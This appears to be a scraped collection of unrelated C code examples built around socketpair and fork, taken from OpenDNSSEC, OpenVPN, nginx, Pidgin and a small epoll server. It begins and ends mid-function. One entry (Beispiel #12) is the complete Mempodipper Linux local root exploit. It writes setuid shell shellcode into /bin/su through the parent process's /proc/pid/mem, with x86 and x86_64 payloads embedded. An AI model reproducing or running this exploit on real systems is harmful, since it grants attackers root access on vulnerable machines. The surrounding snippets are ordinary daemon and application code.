    /* TODO: does piddir exists? */
    /* remove the chown stuff: piddir? */
    ods_chown(engine->config->pid_filename, engine->uid, engine->gid, 1);
    ods_chown(engine->config->clisock_filename, engine->uid, engine->gid, 0);
    ods_chown(engine->config->working_dir, engine->uid, engine->gid, 0);
    if (engine->config->log_filename && !engine->config->use_syslog) {
        ods_chown(engine->config->log_filename, engine->uid, engine->gid, 0);
    }
    if (engine->config->working_dir &&
        chdir(engine->config->working_dir) != 0) {
        ods_log_error("[%s] setup: unable to chdir to %s (%s)", engine_str,
            engine->config->working_dir, strerror(errno));
        return ODS_STATUS_CHDIR_ERR;
    }
    if (engine_privdrop(engine) != ODS_STATUS_OK) {
        return ODS_STATUS_PRIVDROP_ERR;
    }
    /* set up hsm */ /* LEAK */
    result = lhsm_open(engine->config->repositories);
    if (result != HSM_OK) {
        fprintf(stderr, "Fail to open hsm\n");
        return ODS_STATUS_HSM_ERR;
    }
    /* daemonize */
    if (engine->daemonize) {
        switch ((engine->pid = fork())) {
            case -1: /* error */
                ods_log_error("[%s] setup: unable to fork daemon (%s)",
                    engine_str, strerror(errno));
                return ODS_STATUS_FORK_ERR;
            case 0: /* child */
                break;
            default: /* parent */
                engine_cleanup(engine);
                engine = NULL;
                xmlCleanupParser();
                xmlCleanupGlobals();
                xmlCleanupThreads();
                exit(0);
        }
        if (setsid() == -1) {
            hsm_close();
            ods_log_error("[%s] setup: unable to setsid daemon (%s)",
                engine_str, strerror(errno));
            return ODS_STATUS_SETSID_ERR;
        }
    }
    engine->pid = getpid();
    /* write pidfile */
    if (util_write_pidfile(engine->config->pid_filename, engine->pid) == -1) {
        hsm_close();
        return ODS_STATUS_WRITE_PIDFILE_ERR;
    }
    /* setup done */
    ods_log_verbose("[%s] running as pid %lu", engine_str,
        (unsigned long) engine->pid);
    /* catch signals */
    signal_set_engine(engine);
    action.sa_handler = signal_handler;
    sigfillset(&action.sa_mask);
    action.sa_flags = 0;
    sigaction(SIGTERM, &action, NULL);
    sigaction(SIGHUP, &action, NULL);
    sigaction(SIGINT, &action, NULL);
    sigaction(SIGILL, &action, NULL);
    sigaction(SIGUSR1, &action, NULL);
    sigaction(SIGALRM, &action, NULL);
    sigaction(SIGCHLD, &action, NULL);
    action.sa_handler = SIG_IGN;
    sigaction(SIGPIPE, &action, NULL);
    /* create workers/drudgers */
    engine_create_workers(engine);
    engine_create_drudgers(engine);
    /* start cmd/dns/xfr handlers */
    engine_start_cmdhandler(engine);
    engine_start_dnshandler(engine);
    engine_start_xfrhandler(engine);
    tsig_handler_init(engine->allocator);
    return ODS_STATUS_OK;
}
Beispiel #12
0
int main(int argc, char **argv)
{
	if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c') {
		char parent_mem[256];
		sprintf(parent_mem, "/proc/%d/mem", getppid());
		printf("[+] Opening parent mem %s in child.\n", parent_mem);
		int fd = open(parent_mem, O_RDWR);
		if (fd < 0) {
			perror("[-] open");
			return 1;
		}
		printf("[+] Sending fd %d to parent.\n", fd);
		send_fd(atoi(argv[2]), fd);
		return 0;
	}
	
	printf("===============================\n");
	printf("=          Mempodipper        =\n");
	printf("=           by zx2c4          =\n");
	printf("=         Jan 21, 2012        =\n");
	printf("===============================\n\n");
	
	int sockets[2];
	printf("[+] Opening socketpair.\n");
	if (socketpair(AF_UNIX, SOCK_STREAM, 0, sockets) < 0) {
		perror("[-] socketpair");
		return -1;
	}
	if (fork()) {
		printf("[+] Waiting for transferred fd in parent.\n");
		int fd = recv_fd(sockets[1]);
		printf("[+] Received fd at %d.\n", fd);
		if (fd < 0) {
			perror("[-] recv_fd");
			return -1;
		}
		printf("[+] Assigning fd %d to stderr.\n", fd);
		dup2(2, 6);
		dup2(fd, 2);

		unsigned long address;
		if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o')
			address = strtoul(argv[2], NULL, 16);
		else {
			printf("[+] Reading su for exit@plt.\n");
			// Poor man's auto-detection. Do this in memory instead of relying on objdump being installed.
			FILE *command = popen("objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'", "r");
			char result[32];
			result[0] = 0;
			fgets(result, 32, command);
			pclose(command);
			address = strtoul(result, NULL, 16);
			if (address == ULONG_MAX || !address) {
				printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n");
				printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", argv[0], argv[0]);
				return 1;
			}
			printf("[+] Resolved exit@plt to 0x%lx.\n", address);
		}
		printf("[+] Calculating su padding.\n");
		FILE *command = popen("/bin/su this-user-does-not-exist 2>&1", "r");
		char result[256];
		result[0] = 0;
		fgets(result, 256, command);
		pclose(command);
		unsigned long su_padding = (strstr(result, "this-user-does-not-exist") - result) / sizeof(char);
		unsigned long offset = address - su_padding;
		printf("[+] Seeking to offset 0x%lx.\n", offset);
		lseek64(fd, offset, SEEK_SET);
		
#if defined(__i386__)
		// See shellcode-32.s in this package for the source.
		char shellcode[] =
			"\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3"
			"\x06\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68"
			"\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89"
			"\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"
			"\x80";
#elif defined(__x86_64__)
		// See shellcode-64.s in this package for the source.
		char shellcode[] =
			"\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x40"
			"\xb7\x06\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f\x2f\x62\x69"
			"\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xdb"
			"\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50\x51\x57\x48"
			"\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05";

#else
#error "That platform is not supported."
#endif
		printf("[+] Executing su with shellcode.\n");
		execl("/bin/su", "su", shellcode, NULL);
	} else {
		char sock[32];
		sprintf(sock, "%d", sockets[0]);
		printf("[+] Executing child from child fork.\n");
		execl("/proc/self/exe", argv[0], "-c", sock, NULL);
	}
}
Beispiel #13
0
/*
 * Called from the main OpenVPN process to enable the port
 * share proxy.
 */
struct port_share *
port_share_open (const char *host,
		 const char *port,
		 const int max_initial_buf,
		 const char *journal_dir)
{
  pid_t pid;
  socket_descriptor_t fd[2];
  struct sockaddr_in hostaddr;
  struct port_share *ps;
  int status;
  struct addrinfo* ai;

  ALLOC_OBJ_CLEAR (ps, struct port_share);
  ps->foreground_fd = -1;
  ps->background_pid = -1;

  /*
   * Get host's IP address
   */

  status = openvpn_getaddrinfo (GETADDR_RESOLVE|GETADDR_FATAL,
                                 host, port,  0, NULL, AF_INET, &ai);
  ASSERT (status==0);
  hostaddr = *((struct sockaddr_in*) ai->ai_addr);
  freeaddrinfo(ai);

  /*
   * Make a socket for foreground and background processes
   * to communicate.
   */
  if (socketpair (PF_UNIX, SOCK_DGRAM, 0, fd) == -1)
    {
      msg (M_WARN, "PORT SHARE: socketpair call failed");
      goto error;
    }

  /*
   * Fork off background proxy process.
   */
  pid = fork ();

  if (pid)
    {
      int status;

      /*
       * Foreground Process
       */

      ps->background_pid = pid;

      /* close our copy of child's socket */
      openvpn_close_socket (fd[1]);

      /* don't let future subprocesses inherit child socket */
      set_cloexec (fd[0]);

      /* wait for background child process to initialize */
      status = recv_control (fd[0]);
      if (status == RESPONSE_INIT_SUCCEEDED)
	{
	  /* note that this will cause possible EAGAIN when writing to
	     control socket if proxy process is backlogged */
	  set_nonblock (fd[0]);

	  ps->foreground_fd = fd[0];
	  return ps;
	}
      else
	{
	  msg (M_ERR, "PORT SHARE: unexpected init recv_control status=%d", status);
	}
    }
  else
    {
      /*
       * Background Process
       */

      /* Ignore most signals (the parent will receive them) */
      set_signals ();

      /* Let msg know that we forked */
      msg_forked ();

#ifdef ENABLE_MANAGEMENT
      /* Don't interact with management interface */
      management = NULL;
#endif

      /* close all parent fds except our socket back to parent */
      close_fds_except (fd[1]);

      /* no blocking on control channel back to parent */
      set_nonblock (fd[1]);

      /* initialize prng */
      prng_init (NULL, 0);

      /* execute the event loop */
      port_share_proxy (hostaddr, fd[1], max_initial_buf, journal_dir);

      openvpn_close_socket (fd[1]);

      exit (0);
      return 0; /* NOTREACHED */
    }

 error:
  port_share_close (ps);
  return NULL;
}
Beispiel #14
0
/*
 * Send a command (char), data (head), and a file descriptor (sd_send) to a local process
 * over unix socket sd.  Unfortunately, there's no portable way to send file descriptors
 * to other processes, so this code, as well as its analog (control_message_from_parent below),
 * is Linux-specific. This function runs in the context of the main process and is used to
 * send commands, data, and file descriptors to the background process.
 */
static void
port_share_sendmsg (const socket_descriptor_t sd,
		    const char command,
		    const struct buffer *head,
		    const socket_descriptor_t sd_send)
{
  if (socket_defined (sd))
    {
      struct msghdr mesg;
      struct cmsghdr* h;
      struct iovec iov[2];
      socket_descriptor_t sd_null[2] = { SOCKET_UNDEFINED, SOCKET_UNDEFINED };
      char cmd;
      ssize_t status;

      dmsg (D_PS_PROXY_DEBUG, "PORT SHARE: sendmsg sd=%d len=%d",
	    (int)sd_send,
	    head ? BLEN(head) : -1);

      CLEAR (mesg);

      cmd = command;

      iov[0].iov_base = &cmd;
      iov[0].iov_len = sizeof (cmd);
      mesg.msg_iovlen = 1;

      if (head)
	{
	  iov[1].iov_base = BPTR (head);
	  iov[1].iov_len = BLEN (head);
	  mesg.msg_iovlen = 2;
	}

      mesg.msg_iov = iov;

      mesg.msg_controllen = cmsg_size ();
      mesg.msg_control = (char *) malloc (mesg.msg_controllen);
      check_malloc_return (mesg.msg_control);
      mesg.msg_flags = 0;

      h = CMSG_FIRSTHDR(&mesg);
      h->cmsg_level = SOL_SOCKET;
      h->cmsg_type = SCM_RIGHTS;
      h->cmsg_len = CMSG_LEN(sizeof(socket_descriptor_t));

      if (socket_defined (sd_send))
	{
	  *((socket_descriptor_t*)CMSG_DATA(h)) = sd_send;
	}
      else
	{
	  socketpair (PF_UNIX, SOCK_DGRAM, 0, sd_null);
	  *((socket_descriptor_t*)CMSG_DATA(h)) = sd_null[0];
	}

      status = sendmsg (sd, &mesg, MSG_NOSIGNAL);
      if (status == -1)
	msg (M_WARN|M_ERRNO, "PORT SHARE: sendmsg failed -- unable to communicate with background process (%d,%d,%d,%d)",
	     sd, sd_send, sd_null[0], sd_null[1]
	     );

      close_socket_if_defined (sd_null[0]);
      close_socket_if_defined (sd_null[1]);
      free (mesg.msg_control);
    }
}
Beispiel #15
0
ngx_pid_t
ngx_spawn_process(ngx_cycle_t *cycle, ngx_spawn_proc_pt proc, void *data,
    char *name, ngx_int_t respawn)
{
    u_long     on;
    ngx_pid_t  pid;
    ngx_int_t  s;

    if (respawn >= 0) {
        s = respawn;

    } else {
        for (s = 0; s < ngx_last_process; s++) {
            if (ngx_processes[s].pid == -1) {
                break;
            }
        }

        if (s == NGX_MAX_PROCESSES) {
            ngx_log_error(NGX_LOG_ALERT, cycle->log, 0,
                          "no more than %d processes can be spawned",
                          NGX_MAX_PROCESSES);
            return NGX_INVALID_PID;
        }
    }


    if (respawn != NGX_PROCESS_DETACHED) {

        /* Solaris 9 still has no AF_LOCAL */

        if (socketpair(AF_UNIX, SOCK_STREAM, 0, ngx_processes[s].channel) == -1)
        {
            ngx_log_error(NGX_LOG_ALERT, cycle->log, ngx_errno,
                          "socketpair() failed while spawning \"%s\"", name);
            return NGX_INVALID_PID;
        }

        ngx_log_debug2(NGX_LOG_DEBUG_CORE, cycle->log, 0,
                       "channel %d:%d",
                       ngx_processes[s].channel[0],
                       ngx_processes[s].channel[1]);

        if (ngx_nonblocking(ngx_processes[s].channel[0]) == -1) {
            ngx_log_error(NGX_LOG_ALERT, cycle->log, ngx_errno,
                          ngx_nonblocking_n " failed while spawning \"%s\"",
                          name);
            ngx_close_channel(ngx_processes[s].channel, cycle->log);
            return NGX_INVALID_PID;
        }

        if (ngx_nonblocking(ngx_processes[s].channel[1]) == -1) {
            ngx_log_error(NGX_LOG_ALERT, cycle->log, ngx_errno,
                          ngx_nonblocking_n " failed while spawning \"%s\"",
                          name);
            ngx_close_channel(ngx_processes[s].channel, cycle->log);
            return NGX_INVALID_PID;
        }

        on = 1;
        if (ioctl(ngx_processes[s].channel[0], FIOASYNC, &on) == -1) {
            ngx_log_error(NGX_LOG_ALERT, cycle->log, ngx_errno,
                          "ioctl(FIOASYNC) failed while spawning \"%s\"", name);
            ngx_close_channel(ngx_processes[s].channel, cycle->log);
            return NGX_INVALID_PID;
        }

        if (fcntl(ngx_processes[s].channel[0], F_SETOWN, ngx_pid) == -1) {
            ngx_log_error(NGX_LOG_ALERT, cycle->log, ngx_errno,
                          "fcntl(F_SETOWN) failed while spawning \"%s\"", name);
            ngx_close_channel(ngx_processes[s].channel, cycle->log);
            return NGX_INVALID_PID;
        }

        if (fcntl(ngx_processes[s].channel[0], F_SETFD, FD_CLOEXEC) == -1) {
            ngx_log_error(NGX_LOG_ALERT, cycle->log, ngx_errno,
                          "fcntl(FD_CLOEXEC) failed while spawning \"%s\"",
                           name);
            ngx_close_channel(ngx_processes[s].channel, cycle->log);
            return NGX_INVALID_PID;
        }

        if (fcntl(ngx_processes[s].channel[1], F_SETFD, FD_CLOEXEC) == -1) {
            ngx_log_error(NGX_LOG_ALERT, cycle->log, ngx_errno,
                          "fcntl(FD_CLOEXEC) failed while spawning \"%s\"",
                           name);
            ngx_close_channel(ngx_processes[s].channel, cycle->log);
            return NGX_INVALID_PID;
        }

        ngx_channel = ngx_processes[s].channel[1];

    } else {
        ngx_processes[s].channel[0] = -1;
        ngx_processes[s].channel[1] = -1;
    }

    ngx_process_slot = s;


    pid = fork();

    switch (pid) {

    case -1:
        ngx_log_error(NGX_LOG_ALERT, cycle->log, ngx_errno,
                      "fork() failed while spawning \"%s\"", name);
        ngx_close_channel(ngx_processes[s].channel, cycle->log);
        return NGX_INVALID_PID;

    case 0:
        ngx_pid = ngx_getpid();
        proc(cycle, data);
        break;

    default:
        break;
    }

    ngx_log_error(NGX_LOG_NOTICE, cycle->log, 0, "start %s %P", name, pid);

    ngx_processes[s].pid = pid;
    ngx_processes[s].exited = 0;

    if (respawn >= 0) {
        return pid;
    }

    ngx_processes[s].proc = proc;
    ngx_processes[s].data = data;
    ngx_processes[s].name = name;
    ngx_processes[s].exiting = 0;

    switch (respawn) {

    case NGX_PROCESS_NORESPAWN:
        ngx_processes[s].respawn = 0;
        ngx_processes[s].just_spawn = 0;
        ngx_processes[s].detached = 0;
        break;

    case NGX_PROCESS_JUST_SPAWN:
        ngx_processes[s].respawn = 0;
        ngx_processes[s].just_spawn = 1;
        ngx_processes[s].detached = 0;
        break;

    case NGX_PROCESS_RESPAWN:
        ngx_processes[s].respawn = 1;
        ngx_processes[s].just_spawn = 0;
        ngx_processes[s].detached = 0;
        break;

    case NGX_PROCESS_JUST_RESPAWN:
        ngx_processes[s].respawn = 1;
        ngx_processes[s].just_spawn = 1;
        ngx_processes[s].detached = 0;
        break;

    case NGX_PROCESS_DETACHED:
        ngx_processes[s].respawn = 0;
        ngx_processes[s].just_spawn = 0;
        ngx_processes[s].detached = 1;
        break;
    }

    if (s == ngx_last_process) {
        ngx_last_process++;
    }

    return pid;
}
Beispiel #16
0
int main(int argc, char *argv[])
#endif
{
	gboolean opt_force_online = FALSE;
	gboolean opt_help = FALSE;
	gboolean opt_login = FALSE;
	gboolean opt_nologin = FALSE;
	gboolean opt_version = FALSE;
	gboolean opt_si = TRUE;     /* Check for single instance? */
	char *opt_config_dir_arg = NULL;
	char *opt_login_arg = NULL;
	char *opt_session_arg = NULL;
	char *search_path;
	GList *accounts;
#ifdef HAVE_SIGNAL_H
	int sig_indx;	/* for setting up signal catching */
	sigset_t sigset;
	char errmsg[BUFSIZ];
	GIOChannel *signal_channel;
	GIOStatus signal_status;
	guint signal_channel_watcher;
#ifndef DEBUG
	char *segfault_message_tmp;
#endif
	GError *error;
#endif
	int opt;
	gboolean gui_check;
	gboolean debug_enabled;
	gboolean migration_failed = FALSE;
	GList *active_accounts;

	struct option long_options[] = {
		{"config",       required_argument, NULL, 'c'},
		{"debug",        no_argument,       NULL, 'd'},
		{"force-online", no_argument,       NULL, 'f'},
		{"help",         no_argument,       NULL, 'h'},
		{"login",        optional_argument, NULL, 'l'},
		{"multiple",     no_argument,       NULL, 'm'},
		{"nologin",      no_argument,       NULL, 'n'},
		{"session",      required_argument, NULL, 's'},
		{"version",      no_argument,       NULL, 'v'},
		{"display",      required_argument, NULL, 'D'},
		{"sync",         no_argument,       NULL, 'S'},
		{0, 0, 0, 0}
	};

#ifdef DEBUG
	debug_enabled = TRUE;
#else
	debug_enabled = FALSE;
#endif

#if !GLIB_CHECK_VERSION(2, 32, 0)
	/* GLib threading system is automaticaly initialized since 2.32.
	 * For earlier versions, it have to be initialized before calling any
	 * Glib or GTK+ functions.
	 */
	g_thread_init(NULL);
#endif

	g_set_prgname("Pidgin");

#ifdef ENABLE_NLS
	bindtextdomain(PACKAGE, LOCALEDIR);
	bind_textdomain_codeset(PACKAGE, "UTF-8");
	textdomain(PACKAGE);
#endif

#ifdef HAVE_SETLOCALE
	/* Locale initialization is not complete here.  See gtk_init_check() */
	setlocale(LC_ALL, "");
#endif

#ifdef HAVE_SIGNAL_H

#ifndef DEBUG
		/* We translate this here in case the crash breaks gettext. */
		segfault_message_tmp = g_strdup_printf(_(
			"%s %s has segfaulted and attempted to dump a core file.\n"
			"This is a bug in the software and has happened through\n"
			"no fault of your own.\n\n"
			"If you can reproduce the crash, please notify the developers\n"
			"by reporting a bug at:\n"
			"%ssimpleticket/\n\n"
			"Please make sure to specify what you were doing at the time\n"
			"and post the backtrace from the core file.  If you do not know\n"
			"how to get the backtrace, please read the instructions at\n"
			"%swiki/GetABacktrace\n"),
			PIDGIN_NAME, DISPLAY_VERSION, PURPLE_DEVEL_WEBSITE, PURPLE_DEVEL_WEBSITE
		);

		/* we have to convert the message (UTF-8 to console
		   charset) early because after a segmentation fault
		   it's not a good practice to allocate memory */
		error = NULL;
		segfault_message = g_locale_from_utf8(segfault_message_tmp,
						      -1, NULL, NULL, &error);
		if (segfault_message != NULL) {
			g_free(segfault_message_tmp);
		}
		else {
			/* use 'segfault_message_tmp' (UTF-8) as a fallback */
			g_warning("%s\n", error->message);
			g_error_free(error);
			segfault_message = segfault_message_tmp;
		}
#else
		/* Don't mark this for translation. */
		segfault_message = g_strdup(
			"Hi, user.  We need to talk.\n"
			"I think something's gone wrong here.  It's probably my fault.\n"
			"No, really, it's not you... it's me... no no no, I think we get along well\n"
			"it's just that.... well, I want to see other people.  I... what?!?  NO!  I \n"
			"haven't been cheating on you!!  How many times do you want me to tell you?!  And\n"
			"for the last time, it's just a rash!\n"
		);
#endif

	/*
	 * Create a socket pair for receiving unix signals from a signal
	 * handler.
	 */
	if (socketpair(AF_UNIX, SOCK_STREAM, 0, signal_sockets) < 0) {
		perror("Failed to create sockets for GLib signal handling");
		exit(1);
	}
	signal_channel = g_io_channel_unix_new(signal_sockets[1]);

	/*
	 * Set the channel encoding to raw binary instead of the default of
	 * UTF-8, because we'll be sending integers across instead of strings.
	 */
	error = NULL;
	signal_status = g_io_channel_set_encoding(signal_channel, NULL, &error);
	if (signal_status != G_IO_STATUS_NORMAL) {
		fprintf(stderr, "Failed to set the signal channel to raw "
				"binary: %s", error->message);
		exit(1);
	}
	signal_channel_watcher = g_io_add_watch(signal_channel, G_IO_IN, mainloop_sighandler, NULL);
	g_io_channel_unref(signal_channel);

	/* Let's not violate any PLA's!!!! */
	/* jseymour: whatever the fsck that means */
	/* Robot101: for some reason things like gdm like to block     *
	 * useful signals like SIGCHLD, so we unblock all the ones we  *
	 * declare a handler for. thanks JSeymour and Vann.            */
	if (sigemptyset(&sigset)) {
		snprintf(errmsg, sizeof(errmsg), "Warning: couldn't initialise empty signal set");
		perror(errmsg);
	}
	for(sig_indx = 0; catch_sig_list[sig_indx] != -1; ++sig_indx) {
		if(signal(catch_sig_list[sig_indx], sighandler) == SIG_ERR) {
			snprintf(errmsg, sizeof(errmsg), "Warning: couldn't set signal %d for catching",
				catch_sig_list[sig_indx]);
			perror(errmsg);
		}
		if(sigaddset(&sigset, catch_sig_list[sig_indx])) {
			snprintf(errmsg, sizeof(errmsg), "Warning: couldn't include signal %d for unblocking",
				catch_sig_list[sig_indx]);
			perror(errmsg);
		}
	}
	for(sig_indx = 0; ignore_sig_list[sig_indx] != -1; ++sig_indx) {
		if(signal(ignore_sig_list[sig_indx], SIG_IGN) == SIG_ERR) {
			snprintf(errmsg, sizeof(errmsg), "Warning: couldn't set signal %d to ignore",
				ignore_sig_list[sig_indx]);
			perror(errmsg);
		}
	}

	if (sigprocmask(SIG_UNBLOCK, &sigset, NULL)) {
		snprintf(errmsg, sizeof(errmsg), "Warning: couldn't unblock signals");
		perror(errmsg);
	}
#endif

	/* scan command-line options */
	opterr = 1;
	while ((opt = getopt_long(argc, argv,
#ifndef _WIN32
				  "c:dfhmnl::s:v",
#else
				  "c:dfhmnl::v",
#endif
				  long_options, NULL)) != -1) {
		switch (opt) {
		case 'c':	/* config dir */
			g_free(opt_config_dir_arg);
			opt_config_dir_arg = g_strdup(optarg);
			break;
		case 'd':	/* debug */
			debug_enabled = TRUE;
			break;
		case 'f':	/* force-online */
			opt_force_online = TRUE;
			break;
		case 'h':	/* help */
			opt_help = TRUE;
			break;
		case 'n':	/* no autologin */
			opt_nologin = TRUE;
			break;
		case 'l':	/* login, option username */
			opt_login = TRUE;
			g_free(opt_login_arg);
			if (optarg != NULL)
				opt_login_arg = g_strdup(optarg);
			break;
		case 's':	/* use existing session ID */
			g_free(opt_session_arg);
			opt_session_arg = g_strdup(optarg);
			break;
		case 'v':	/* version */
			opt_version = TRUE;
			break;
		case 'm':   /* do not ensure single instance. */
			opt_si = FALSE;
			break;
		case 'D':   /* --display */
		case 'S':   /* --sync */
			/* handled by gtk_init_check below */
			break;
		case '?':	/* show terse help */
		default:
			show_usage(argv[0], TRUE);
#ifdef HAVE_SIGNAL_H
			g_free(segfault_message);
#endif
			return 0;
			break;
		}
	}

	/* show help message */
	if (opt_help) {
		show_usage(argv[0], FALSE);
#ifdef HAVE_SIGNAL_H
		g_free(segfault_message);
#endif
		return 0;
	}
	/* show version message */
	if (opt_version) {
		printf("%s %s (libpurple %s)\n", PIDGIN_NAME, DISPLAY_VERSION,
		                                 purple_core_get_version());
#ifdef HAVE_SIGNAL_H
		g_free(segfault_message);
#endif
		return 0;
	}

	/* set a user-specified config directory */
	if (opt_config_dir_arg != NULL) {
		purple_util_set_user_dir(opt_config_dir_arg);
	}

	/*
	 * We're done piddling around with command line arguments.
	 * Fire up this baby.
	 */

	purple_debug_set_enabled(debug_enabled);

	/* If we're using a custom configuration directory, we
	 * do NOT want to migrate, or weird things will happen. */
	if (opt_config_dir_arg == NULL)
	{
		if (!purple_core_migrate())
		{
			migration_failed = TRUE;
		}
	}

	search_path = g_build_filename(purple_user_dir(), "gtkrc-2.0", NULL);
	gtk_rc_add_default_file(search_path);
	g_free(search_path);

	gui_check = gtk_init_check(&argc, &argv);
	if (!gui_check) {
		char *display = gdk_get_display();

		printf("%s %s\n", PIDGIN_NAME, DISPLAY_VERSION);

		g_warning("cannot open display: %s", display ? display : "unset");
		g_free(display);
#ifdef HAVE_SIGNAL_H
		g_free(segfault_message);
#endif

		return 1;
	}

	g_set_application_name(PIDGIN_NAME);

#ifdef _WIN32
	winpidgin_init(hint);
#endif

	if (migration_failed)
	{
		char *old = g_strconcat(purple_home_dir(),
		                        G_DIR_SEPARATOR_S ".gaim", NULL);
		const char *text = _(
			"%s encountered errors migrating your settings "
			"from %s to %s. Please investigate and complete the "
			"migration by hand. Please report this error at http://developer.pidgin.im");
		GtkWidget *dialog;

		dialog = gtk_message_dialog_new(NULL,
		                                0,
		                                GTK_MESSAGE_ERROR,
		                                GTK_BUTTONS_CLOSE,
		                                text, PIDGIN_NAME,
		                                old, purple_user_dir());
		g_free(old);

		g_signal_connect_swapped(dialog, "response",
		                         G_CALLBACK(gtk_main_quit), NULL);

		gtk_widget_show_all(dialog);

		gtk_main();

#ifdef HAVE_SIGNAL_H
		g_free(segfault_message);
#endif
		return 0;
	}

	purple_core_set_ui_ops(pidgin_core_get_ui_ops());
	purple_eventloop_set_ui_ops(pidgin_eventloop_get_ui_ops());

	/*
	 * Set plugin search directories. Give priority to the plugins
	 * in user's home directory.
	 */
	search_path = g_build_filename(purple_user_dir(), "plugins", NULL);
	if (g_mkdir(search_path, S_IRUSR | S_IWUSR | S_IXUSR) != 0 && errno != EEXIST)
		fprintf(stderr, "Couldn't create plugins dir\n");
	purple_plugins_add_search_path(search_path);
	g_free(search_path);
	purple_plugins_add_search_path(LIBDIR);

	if (!purple_core_init(PIDGIN_UI)) {
		fprintf(stderr,
				"Initialization of the libpurple core failed. Dumping core.\n"
				"Please report this!\n");
#ifdef HAVE_SIGNAL_H
		g_free(segfault_message);
#endif
		abort();
	}

	if (opt_si && !purple_core_ensure_single_instance()) {
#ifdef HAVE_DBUS
		DBusConnection *conn = purple_dbus_get_connection();
		DBusMessage *message = dbus_message_new_method_call(DBUS_SERVICE_PURPLE, DBUS_PATH_PURPLE,
				DBUS_INTERFACE_PURPLE, "PurpleBlistSetVisible");
		gboolean tr = TRUE;
		dbus_message_append_args(message, DBUS_TYPE_INT32, &tr, DBUS_TYPE_INVALID);
		dbus_connection_send_with_reply_and_block(conn, message, -1, NULL);
		dbus_message_unref(message);
#endif
		gdk_notify_startup_complete();
		purple_core_quit();
		g_printerr(_("Exiting because another libpurple client is already running.\n"));
#ifdef HAVE_SIGNAL_H
		g_free(segfault_message);
#endif
		return 0;
	}

	/* TODO: Move blist loading into purple_blist_init() */
	purple_set_blist(purple_blist_new());
	purple_blist_load();

	/* load plugins we had when we quit */
	purple_plugins_load_saved(PIDGIN_PREFS_ROOT "/plugins/loaded");

	/* TODO: Move pounces loading into purple_pounces_init() */
	purple_pounces_load();

	ui_main();

#ifdef USE_SM
	pidgin_session_init(argv[0], opt_session_arg, opt_config_dir_arg);
#endif
	if (opt_session_arg != NULL) {
		g_free(opt_session_arg);
		opt_session_arg = NULL;
	}
	if (opt_config_dir_arg != NULL) {
		g_free(opt_config_dir_arg);
		opt_config_dir_arg = NULL;
	}

	/* This needs to be before purple_blist_show() so the
	 * statusbox gets the forced online status. */
	if (opt_force_online)
		purple_network_force_online();

	/*
	 * We want to show the blist early in the init process so the
	 * user feels warm and fuzzy (not cold and prickley).
	 */
	purple_blist_show();

	if (purple_prefs_get_bool(PIDGIN_PREFS_ROOT "/debug/enabled"))
		pidgin_debug_window_show();

	if (opt_login) {
		/* disable all accounts */
		for (accounts = purple_accounts_get_all(); accounts != NULL; accounts = accounts->next) {
			PurpleAccount *account = accounts->data;
			purple_account_set_enabled(account, PIDGIN_UI, FALSE);
		}
		/* honor the startup status preference */
		if (!purple_prefs_get_bool("/purple/savedstatus/startup_current_status"))
			purple_savedstatus_activate(purple_savedstatus_get_startup());
		/* now enable the requested ones */
		dologin_named(opt_login_arg);
		if (opt_login_arg != NULL) {
			g_free(opt_login_arg);
			opt_login_arg = NULL;
		}
	} else if (opt_nologin)	{
		/* Set all accounts to "offline" */
		PurpleSavedStatus *saved_status;

		/* If we've used this type+message before, lookup the transient status */
		saved_status = purple_savedstatus_find_transient_by_type_and_message(
							PURPLE_STATUS_OFFLINE, NULL);

		/* If this type+message is unique then create a new transient saved status */
		if (saved_status == NULL)
			saved_status = purple_savedstatus_new(NULL, PURPLE_STATUS_OFFLINE);

		/* Set the status for each account */
		purple_savedstatus_activate(saved_status);
	} else {
		/* Everything is good to go--sign on already */
		if (!purple_prefs_get_bool("/purple/savedstatus/startup_current_status"))
			purple_savedstatus_activate(purple_savedstatus_get_startup());
		purple_accounts_restore_current_statuses();
	}

	if ((active_accounts = purple_accounts_get_all_active()) == NULL)
	{
		pidgin_accounts_window_show();
	}
	else
	{
		g_list_free(active_accounts);
	}

	/* GTK clears the notification for us when opening the first window,
	 * but we may have launched with only a status icon, so clear the it
	 * just in case. */
	gdk_notify_startup_complete();

#ifdef _WIN32
	winpidgin_post_init();
#endif

	gtk_main();

#ifdef HAVE_SIGNAL_H
	g_free(segfault_message);
	g_source_remove(signal_channel_watcher);
	close(signal_sockets[0]);
	close(signal_sockets[1]);
#endif

#ifdef _WIN32
	winpidgin_cleanup();
#endif

	return 0;
}
Beispiel #17
0
int main(int argc,char * argv[]){
	if (argc <= 2){
		printf("usage : ip port\n");
	//	return 1;
	}

	const char * ip = argv[1];
	int port = atoi(argv[2]);

	struct sockaddr_in address;
	memset(&address,0,sizeof(address));
	//address.sin_family = AF_INET;
	//inet_pton(AF_INET,ip,&address.sin_addr);
	//address.sin_port = htons(port);

	address.sin_family=AF_INET; 
	address.sin_addr.s_addr=INADDR_ANY;
	address.sin_port=htons(8000); 

	int listenfd = socket(PF_INET,SOCK_STREAM,0);
	assert(listenfd >= 0);
	int ret = bind(listenfd,(struct sockaddr * )&address,sizeof(address));
	if (ret == -1){
		perrmsg(errno);
		return 1;
	}
	ret = listen(listenfd,5);
	assert(ret != -1);

	struct epoll_event events[MAX_EVENT_NUMBER];
	int epollfd = epoll_create(5);
	assert (epollfd != -1);
	addfd(epollfd,listenfd);

	ret = socketpair(PF_UNIX,SOCK_STREAM,0,pipefd);
	assert (ret != -1);
	setnoblocking(pipefd[1]);
	addfd(epollfd,pipefd[0]);

